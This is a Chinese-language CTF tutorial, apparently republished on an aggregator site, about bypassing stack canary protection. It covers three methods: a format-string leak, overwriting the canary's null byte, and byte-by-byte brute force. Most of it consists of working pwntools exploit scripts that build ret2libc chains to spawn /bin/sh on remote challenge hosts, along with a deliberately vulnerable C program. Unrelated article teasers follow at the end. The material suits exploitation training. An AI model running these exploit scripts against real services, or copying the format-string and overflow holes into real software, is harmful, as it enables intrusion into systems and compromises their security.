Canary,三种优雅姿势绕过

news2024/11/16 4:13:39

Canary(金丝雀),栈溢出保护

  1. canary保护是防止栈溢出的一种措施,其在调用函数时,在栈帧的上方放入一个随机值 ,绕过canary时首先需要泄漏这个随机值,然后再钩爪ROP链时将其作为垃圾数据写入,注意要放在rbp的前面,下面调试来观察随机值:

    image-20240630104806257

    1. 可以看到,在调用的函数的开头将rax作为随机值放入到了rbp上放的栈上

    image-20240630105026803

    image-20240630105225422

    1. 在函数的结尾,将随机值取出后,与本来的随机值做了对比,相同的才会返回,不同就会报错。
  2. 在进行栈溢出时,如果程序开启了canary保护,首先就需要泄漏这个随机值,否则其被覆盖掉后,程序在退出时再检查该值,会引发错误。

1. 利用printf格式化字符串 泄漏随机值。

  1. 先确定 随机值 相对于 格式化字符串 的位置,再利用 %n7$p 来输出该位置的内容,然后就是常规的栈溢出ROP构造,但此时要注意将泄漏出来的 canary 填充再rbp位置的前面:

  2. 例题:BUUCTF在线评测 (buuoj.cn)

from pwn import *
from LibcSearcher import *
# 设置系统架构, 打印调试信息
# arch 可选 : i386 / amd64 / arm / mips
context(os='linux', arch='amd64', log_level='debug')
p = remote("node5.buuoj.cn",29861)
elf = ELF('./bjdctf_2020_babyrop2')
#获取got、plt地址
got = elf.got['puts']
plt = elf.plt['puts']
print(hex(got),hex(plt))

p.recvuntil(b"I'll give u some gift to help u!\n")
#泄漏canary
p.sendline(b'%7$p')
p.recvuntil(b'0x')
canary = int(p.recv(16),16)
print("canary:",hex(canary))

#获取传参地址
pop_rdi_ret = 0x0000000000400993
#获取返回地址,便于下一次利用栈溢出
main_addr = 0x400887
print(hex(main_addr))
ret = 0x00000000004005f9

#构造payload,获得puts函数的地址,注意绕过canary,在rbp前面填充canary,计算canary前后填充的垃圾数据
payload = b'a'*(0x18)+p64(canary)+b'a'*8+p64(pop_rdi_ret)+p64(got)+p64(plt)+p64(main_addr)
p.sendline(payload)
p.recvuntil(b'Pull up your sword and tell me u story!\n')
addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(addr))
libc = LibcSearcher('puts',addr)
libc_base = addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
str_bin = libc_base + libc.dump('str_bin_sh')
print(hex(libc_base),hex(sys_addr),hex(str_bin))

p.recvuntil(b'Pull up your sword and tell me u story!\n')
#第二次利用栈溢出
payload = b'a'*(0x18)+p64(canary)+b'a'*8+p64(ret)+p64(pop_rdi_ret)+p64(str_bin)+p64(sys_addr)+p64(main_addr)
p.sendline(payload)
#p.sendline(b'cat flag')
# 与远程交互
p.interactive()


2. 覆盖截断字符获取canary

  1. Canry的最底一个字节设计为b’\x00’,是为了防止put,write,printf登将canary读出。如果利用栈溢出将最低位的b’\x00’覆盖,就可以利用答应函数将canary一致输出,最后再在最低位拼接上 b'\x00'就可以得到canary。

  2. 实例:

    // test.c
    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <string.h>
    void getshell(void) {
        system("/bin/sh");
    }
    void init() {
        setbuf(stdin, NULL);
        setbuf(stdout, NULL);
        setbuf(stderr, NULL);
    }
    void vuln() {
        char buf[100];
        for(int i=0;i<2;i++){
            read(0, buf, 0x200);
            printf(buf);
        }
    }
    int main(void) {
        init();
        puts("Hello Hacker!");
        vuln();
        return 0;
    }
    
    
  3. 覆盖canary的最后一个字节,并从新组成canary:

    1. 首先确定要覆盖的位置,由于是 小端序 所以最后一个字节在高位,找到canary的偏移 var_c 后于 buf 相减再加一就可以指向canary的最低字节处,将其覆盖位a(注意使用send发送,不要最后的 回车符 )接受返会后要 拼接canary

      image-20240630204202081

    from pwn import *
    from LibcSearcher import *
    # 设置系统架构, 打印调试信息
    # arch 可选 : i386 / amd64 / arm / mips
    context(os='linux', arch='amd64', log_level='debug')
    p = process("./test")
    p.recvuntil(b'Hello Hacker!\n')
    #发送var_c-buf+1个 b'a',最后一个a可以覆盖掉canary的最低字节 b`\x00`
    payload = b'a'*(0x70-0xc+1)
    p.send(payload)
    #接受返回后从行拼接canary
    canary = p.recv()[0x65:0x68]
    canary = canary.rjust(4,b'\x00')
    print(hex(u32(canary)))
    
    1. 再利用canary绕过金丝雀。

      shell = 0x080491B6
      #canary后面还有0xc个字节才到返回地址,而不是仅查一个ebp(4个字节)
      payload = b'a'*(0x70-0xc)+canary+b'a'*(0x8+4)+p32(shell)
      p.sendline(payload)
      # 与远程交互
      p.interactive()
      

3. 逐字节爆破

题目地址:pwn

注意:canary爆破时,利用栈溢出,溢出到canary位置,从低位到高位 逐次覆盖掉canary的4个字节(一位无法绕过低位字节堆高位进行爆破,所以必须从低到高),且要求canary不能变化,绕过重开程序canary变化,就不适用爆破了。

  1. 函数的主逻辑在ctfshow,前面的函数基本无用,ctfshow中存在栈溢出:

    image-20240706175916809

  2. 爆破脚本:

    from pwn import *
    from LibcSearcher import *
    # 设置系统架构, 打印调试信息
    # arch 可选 : i386 / amd64 / arm / mips
    context(os='linux', arch='amd64', log_level='debug')
    
    for i in range(0xff):
        p = remote("pwn.challenge.ctf.show",28104)
        p.recvuntil(b"How many bytes do you want to write to the buffer?\n>")
        p.sendline(b'100')
        p.recv()
        payload = b'a'*(32)+int.to_bytes(i)
        p.send(payload)
        data = p.recv()
        if b"Canary Value Incorrect!\n" not in  data:
            canary = data
            print(canary,i)
            break
    
    

    第一次爆破出来是:

    image-20240706183936688

    下面爆破第二个:

    from pwn import *
    
    # 设置系统架构, 打印调试信息
    # arch 可选 : i386 / amd64 / arm / mips
    context(os='linux', arch='amd64', log_level='debug')
    
    for i in range(0xff):
        p = remote("pwn.challenge.ctf.show",28104)
        p.recvuntil(b"How many bytes do you want to write to the buffer?\n>")
        p.sendline(b'100')
        p.recv()
        payload = b'a'*(32)+int.to_bytes(51)+int.to_bytes(i)
        p.send(payload)
        data = p.recv()
        if b"flag" in  data:
            canary = data
            print(canary,i)
            break
    
    

    image-20240706184045278

    第三个:

    from pwn import *
    
    # 设置系统架构, 打印调试信息
    # arch 可选 : i386 / amd64 / arm / mips
    context(os='linux', arch='amd64', log_level='debug')
    
    for i in range(0xff):
        p = remote("pwn.challenge.ctf.show",28104)
        # p = process('./pwn')
        # elf = ELF('./pwn')
        p.recvuntil(b"How many bytes do you want to write to the buffer?\n>")
        p.sendline(b'100')
        p.recv()
        payload = b'a'*(32)+int.to_bytes(51)+int.to_bytes(54)+int.to_bytes(i)
        p.send(payload)
        data = p.recv()
        if b"flag" in  data:
            canary = data
            print(canary,i)
            break
    

    image-20240706184250681

    第四个:

    from pwn import *
    
    # 设置系统架构, 打印调试信息
    # arch 可选 : i386 / amd64 / arm / mips
    context(os='linux', arch='amd64', log_level='debug')
    
    for i in range(0xff):
        p = remote("pwn.challenge.ctf.show",28104)
        p.recvuntil(b"How many bytes do you want to write to the buffer?\n>")
        p.sendline(b'100')
        p.recv()
        payload = b'a'*(32)+int.to_bytes(51)+int.to_bytes(54)+int.to_bytes(68)+int.to_bytes(i)
        p.send(payload)
        data = p.recv()
        if b"flag" in  data:
            canary = data
            print(canary,i)
            break
    

    image-20240706184354494

  3. 所以最后canary确定为0x21443633。注意大小端序,最后验证爆破的canary:

    from pwn import *
    
    # 设置系统架构, 打印调试信息
    # arch 可选 : i386 / amd64 / arm / mips
    context(os='linux', arch='amd64', log_level='debug')
    
    p = remote("pwn.challenge.ctf.show",28104)
    p.recvuntil(b"How many bytes do you want to write to the buffer?\n>")
    p.sendline(b'100')
    p.recv()
    payload = b'a'*(32)+p32(0x21443633)+b'a'*(0xc+4)+p32(0x08048696)
    p.send(payload)
    p.recv()
    p.interactive()
    
    

    image-20240706184952360

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1901117.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python数据分析案例50——基于EEMD-LSTM的石油价格预测

案例背景 很久没更新时间序列预测有关的东西了。 之前写了很多CNN-LSTM&#xff0c;GRU-attention&#xff0c;这种神经网络之内的不同模型的缝合&#xff0c;现在写一个模态分解算法和神经网络的缝合。 虽然eemd-lstm已经在学术界被做烂了&#xff0c;但是还是很多新手小白或…

Go 中的类型推断

&#x1f49d;&#x1f49d;&#x1f49d;欢迎莅临我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:「stormsha的主页」…

HDF4文件转TIF格式

HDF4 HDF4&#xff08;Hierarchical Data Format version 4&#xff09;是一种用于存储和管理机器间数据的库和多功能文件格式。它是一种自描述的文件格式&#xff0c;用于存档和管理数据。 HDF4与HDF5是两种截然不同的技术&#xff0c;HDF5解决了HDF4的一些重要缺陷。因此&am…

【文献解析】Voxelmap——一种自适应体素地图

Efficient and Probabilistic Adaptive Voxel Mapping for Accurate Online LiDAR Odometry 论文地址&#xff1a;https://ieeexplore.ieee.org/stamp/stamp.jsp?tp&arnumber9813516 代码&#xff1a;GitHub - hku-mars/VoxelMap: [RA-L 2022] An efficient and probabili…

DatawhaleAI夏令营2024 Task2

#AI夏令营 #Datawhale #夏令营 赛题解析一、Baseline详解1.1 环境配置1.2 数据处理任务理解2.3 prompt设计2.4 数据抽取 二、完整代码总结 赛题解析 赛事背景 在数字化时代&#xff0c;企业积累了大量对话数据&#xff0c;这些数据不仅是交流记录&#xff0c;还隐藏着宝贵的信…

2000-2022年地级市数字经济指数(含控制变量)

2000-2022年地级市数字经济指数&#xff08;含控制变量&#xff09; 目录 数字经济对区域经济发展的影响实证研究 一、引言 二、文献综述 三、数据来源与变量说明 四、实证模型 五、程序代码与运行结果 数字经济对区域经济发展的影响实证研究 摘要&#xff1a; 本文旨在…

Git-Unity项目版本管理

目录 准备GitHub新建项目并添加ssh密钥Unity文件夹 本文记录如何用git对unity 项目进行版本管理&#xff0c;并可传至GitHub远端。 准备 名称版本windows11Unity2202.3.9.f1gitN.A.githubN.A. GitHub新建项目并添加ssh密钥 GitHub新建一个repositorywindows11 生成ssh-key&…

数字信号处理中的难点

数字信号处理中的难点可以归纳为多个方面&#xff0c;这些难点不仅体现在理论知识的理解和掌握上&#xff0c;还涉及到实际工程应用中的各种问题。以下是对这些难点的详细分析&#xff1a; 一、理论知识的难点 信号与系统的基本概念&#xff1a; 理解和区分连续时间信号与离…

数字时代如果你的企业还未上线B端系统助力则后果很严重

**数字时代如果你的企业还未上线B端系统助力则后果很严重** 数字化浪潮席卷全球&#xff0c;企业对于数字化转型的重视程度日益提高。B端系统&#xff0c;作为企业数字化转型的核心组成部分&#xff0c;其重要性不言而喻。如果你的企业还未上线B端系统助力&#xff0c;那么后果…

3-3 超参数

3-3 超参数 什么是超参数 超参数也是一种参数&#xff0c;它具有参数的特性&#xff0c;比如未知&#xff0c;也就是它不是一个已知常量。是一种手工可配置的设置&#xff0c;需要为它根据已有或现有的经验&#xff0c;指定“正确”的值&#xff0c;也就是人为为它设定一个值&…

美国国家航空航天局(NASA)的载人登月计划:阿耳忒弥斯计划

本文首发于公众号“AntDream”&#xff0c;欢迎微信搜索“AntDream”或扫描文章底部二维码关注&#xff0c;和我一起每天进步一点点 Artemis计划是美国国家航空航天局&#xff08;NASA&#xff09;主导的一项雄心勃勃的月球探索计划&#xff0c;旨在2020年代重新将人类送上月球…

SpringBoot+OSS实现文件上传

创建spring boot项目 pom依赖 <dependency><groupId>com.aliyun.oss</groupId><artifactId>aliyun-sdk-oss</artifactId><version>3.17.4</version></dependency><dependency><groupId>javax.xml.bind</groupI…

拉普拉斯逆变换

https://www.bilibili.com/video/BV17i4y1475Y?p21&vd_source2e6b4ba548ec9462b2f9633ff700e9b9 CV 17 陈永平教授关于拉普拉斯逆变换的式子的推导 最关键的两步 想到取一个合适的contour L R L_R LR​部分是实部 γ \gamma γ要大于所有极点的实部,这样就可以搞一个大…

C++:二维数组的遍历

方式一&#xff1a; #include <vector> #include <iostream> int main() { // 初始化一个2x3的二维向量&#xff08;矩阵&#xff09; std::vector<std::vector<float>> matrix { {1.0, 2.0, 3.0}, // 第一行 {4.0, 5.0, 6.0} // 第二行 };…

CV03_mAP计算以及COCO评价标准

COCO数据集回顾&#xff1a;CV02_超强数据集&#xff1a;MSCOCO数据集的简单介绍-CSDN博客 1.1 简介 在目标检测领域中&#xff0c;mAP&#xff08;mean Average Precision&#xff0c;平均精度均值&#xff09;是一个广泛使用的性能评估指标&#xff0c;用于衡量目标检测模型…

IDEA如何引入外部jar包

导了3次&#xff0c;记不住&#xff0c;写篇博客记一下&#xff1b; 1、File->Project Structure->项目名称->JARs or Dircetories... 2、选择所要导入的jar包【可多选】&#xff1b;此处图片略&#xff1b; 3、选中后点击确定&#xff0c;jar会显示在idea的目录中&…

昇思25天学习打卡营第11天|ResNet50图像分类

文章目录 昇思MindSpore应用实践基于MindSpore的ResNet50图像分类1、ResNet50 简介2、数据集预处理及可视化3、构建网络构建 Building Block构建 Bottleneck Block构建 ResNet50 网络 4、模型训练5、图像分类模型推理 Reference 昇思MindSpore应用实践 本系列文章主要用于记录…

51单片机嵌入式开发:2、STC89C52操作GPIO口LED灯

STC89C52操作GPIO口LED灯 1 芯片介绍1.1 芯片类型1.2 芯片系列说明 2 GPIO引脚寄存器说明3 GPIO操作3.1 GPIO输入3.2 GPIO输出3.3 GPIO流水灯3.4 Protues仿真 4 总结 1 芯片介绍 1.1 芯片类型 芯片采用宏晶科技品牌下的STC89C52RC单片机 选择STC89C52RC系列STC89C58RD系列单片…

ArrayList综合案例-模拟外卖中的商家系统

一案例要求&#xff1a; 二代码要求&#xff1a; package 重修;import java.util.ArrayList; import java.util.Random; import java.util.Scanner;import static java.lang.System.exit;public class first {public static void main(String[] args) {Scanner scnew Scanne…

迎接AI新时代:GPT-5即将登场的巨大变革与应用前瞻

迎接AI新时代&#xff1a;GPT-5即将登场的巨大变革与应用前瞻 &#x1f48e;1. GPT-5 一年半后发布&#xff1a;AI新时代的来临1.1 GPT-5的飞跃&#xff1a;从高中生到博士生 &#x1f48e;2. GPT-5的潜在应用场景&#x1f48e;2.1 医疗诊断和健康管理&#x1f48e;2.2 教育领域…